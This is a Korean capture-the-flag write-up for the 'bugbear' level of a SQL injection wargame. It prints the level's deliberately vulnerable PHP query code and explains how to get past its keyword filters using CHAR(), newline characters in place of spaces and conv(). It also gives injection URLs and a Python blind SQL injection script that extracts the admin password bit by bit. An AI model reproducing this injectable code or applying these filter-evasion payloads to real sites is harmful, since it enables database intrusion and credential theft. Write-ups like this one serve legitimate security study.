<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
$_GET[no] 필터
/prob, _, ., ()
싱글쿼터('), substr, ascii, =, or, and, 공백, like, 0x
$_GET[pw] 필터 문자
싱글쿼터(')
SELECT id FROM porb_bugbear WHERE id='guest' and pw='' AND no=
위 쿼리문에 인젝션 벡터는 no 파라미터이다. 싱글쿼터가 없기 때문에 공격에 용이.
SELECT pw FROM prob_bugbear WHERE id='amdin' AND pw=''
위 쿼리문이 정상 동작했을 때, $result[pw] == $_GET[pw]와 같아야 문제가 해결됨.
이번 문제도 동일하게 첫번째 쿼리문을 통해 pw를 구하고 두번째 쿼리에 인증을 하면 될 것이다.
문자열 필터로 싱글쿼터와 0x 사용이 불가능하므로, char() 함수 또는 0b 2진법을 통해 admin 문자열을 입력할 수 있다.
이번 문제는 char() 함수를 사용할 것이다.
SELECT id FROM porb_bugbear WHERE id='guest' AND pw='' AND no=1000 || id in(CHAR(97,100,109,105,110)) && length(pw) in(x)%23
https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1000%0a||%0aid%0ain(CHAR(97,100,109,105,110))%0a%26%26%0alength(pw)%0ain(8)%23
// pw 길이 : 8
아래와 ascii 함수가 필터돼 ord 함수로 대체했으나 필터 문자 중 or 를 필터해서 ord() 함수까지 필터된다 ㅡㅡ
따라서 conv() 함수라는 진법 변환 함수를 사용해 문자열을 16진수에서 2진수로 변환 후 1비트씩 blind sql 인젝션을 했다.
import urllib
import urllib2
import re
url ="https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no="
pw_len = 8
password = ""
TrueKeyword = "Hello admin"
print "[+] Blind SQL injection START"
for i in xrange(1, pw_len+1):
bit_str =""
for j in xrange(1, 8):
injectionParams= "1000 || id in(CHAR(97,100,109,105,110)) %26%26 right(left(lpad(conv(hex(right(left(pw,{}),1)),16,2),7,0),{}),1) in(0)%23"
injectionParams = injectionParams.format(i, j).replace(" ","%0a")
# print injectionParams
req = urllib2.Request(url+injectionParams)
req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'")
req.add_header("cookie", "PHPSESSID=dosf55vuscnveh717ck53pea54")
data = urllib2.urlopen(req).read()
# print data
find = re.findall(TrueKeyword, data)
if find:
bit_str += "0"
else:
bit_str += "1"
print "[+] FIND character -> {}".format(chr(int(bit_str,2)))
password += chr(int(bit_str,2))
print "="*30
print "[+] password is :" +password
pw : 735c2773
https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1000%0a||%0aid%0ain(CHAR(97,100,109,105,110))&pw=735c2773